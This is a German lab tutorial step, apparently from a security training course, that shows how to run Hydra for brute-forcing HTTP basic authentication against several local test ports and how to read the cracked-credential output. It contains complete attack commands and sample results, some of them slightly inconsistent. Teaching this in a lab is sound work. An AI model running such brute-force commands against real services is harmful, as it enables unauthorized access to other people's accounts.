Ausgabe für mehrere Hosts prüfen
In diesem Schritt lernen Sie, die Ausgabe von Hydra bei Angriffen auf mehrere HTTP-Ziele zu interpretieren. Die Ausgabe von Hydra liefert wertvolle Informationen über den Erfolg oder Misserfolg der Angriffsversuche auf verschiedenen Webdiensten.
Wenn Hydra ein HTTP-Basisauthentifizierungs-Passwort erfolgreich knackt, zeigt es die Anmeldeinformationen im folgenden Format an:
[<Port>][http-get] host: <Host> login: <Benutzername> password: <Passwort>
Beispiel:
[8081][http-get] host: 127.0.0.1 login: admin password: password123
Dies zeigt an, dass Hydra die HTTP-Basisauthentifizierung für den Benutzer admin auf dem Host 127.0.0.1 am Port 8081 mit dem Passwort password123 erfolgreich geknackt hat.
Analysieren wir die Ausgabe von HTTP-Angriffen und verstehen, was unterschiedliche Ergebnisse bedeuten.
-
Führen Sie den vollständigen Hydra-Angriffsbefehl erneut aus, um die vollständige Ausgabe zu sehen:
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
-
Untersuchen Sie die detaillierte Ausgabe. Sie sollten Ergebnisse für alle drei Ziele sehen:
Erwartete umfassende Ausgabe:
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke.
Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am 2023-XX-XX XX:XX:XX
[DATA] max 8 Aufgaben pro 1 Server, insgesamt 24 Aufgaben, 60 Login-Versuche (l:4/p:5), ~3 Versuche pro Aufgabe
[DATA] Angriff auf http-get://127.0.0.1:8081:80/
[DATA] Angriff auf http-get://127.0.0.1:8082:80/
[DATA] Angriff auf http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1 login: admin password: password123
[8082][http-get] host: 127.0.0.1 login: user password: secret
[8083][http-get] host: 127.0.0.1 login: testuser password: password
1 von 3 Zielen abgeschlossen, 3 gültige Passwörter gefunden
Hydra beendet.
-
Um zu sehen, wie fehlgeschlagene Versuche aussehen, erstellen wir ein Szenario mit ungültigen Anmeldeinformationen. Erstellen Sie eine neue Passwortdatei mit hauptsächlich falschen Passwörtern:
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## Nur ein korrektes Passwort
-
Führen Sie Hydra mit detaillierter Ausgabe aus, um sowohl erfolgreiche als auch fehlgeschlagene Versuche zu sehen:
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
Sie sehen eine detaillierte Ausgabe, die den erfolgreichen Versuch anzeigt:
(Ausgabe wird hier nicht wiederholt)
-
Speichern Sie die Ergebnisse zur späteren Analyse in einer Datei:
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
Überprüfen Sie die Ergebnisdatei:
cat hydra_results.txt
Interpretation der HTTP-Angriffs-Ergebnisse:
- Erfolgreiche Angriffe: Zeilen, die mit
[Port][http-get] beginnen, zeigen erfolgreiche Entdeckungen von Anmeldeinformationen.
- Zielinformationen: Jedes erfolgreiche Ergebnis zeigt den genauen Host, Port, Benutzernamen und Passwort.
- Zusammenfassende Statistiken: Die letzte Zeile zeigt, wie viele Ziele angegriffen wurden und wie viele gültige Passwörter gefunden wurden.
- Fehlgeschlagene Versuche: Im Detailmodus sehen Sie jeden fehlgeschlagenen Login-Versuch.
- Ausgabe-Dateien: Mit
-o werden nur erfolgreiche Ergebnisse in eine Datei gespeichert, um die Analyse zu vereinfachen.
Hauptschwierigkeiten im Vergleich zu anderen Protokollen:
- HTTP-Angriffe zeigen die Portnummer deutlich in den Ergebnissen an.
- Reaktionszeiten sind in der Regel schneller als bei SSH-Angriffen.
- Mehrere Authentifizierungsbereiche auf demselben Server erscheinen als verschiedene Ziele.
- HTTP-Statuscodes (wie 401, 403) liefern zusätzliche Informationen über Fehler.
In diesem Schritt haben Sie gelernt, die Ausgabe von Hydra bei Angriffen auf mehrere HTTP-Ziele zu interpretieren, den Unterschied zwischen erfolgreichen und fehlgeschlagenen Versuchen zu verstehen und Ergebnisse zur Analyse zu speichern. Dieses Wissen ist entscheidend für effektive Webanwendungs-Sicherheitstests.
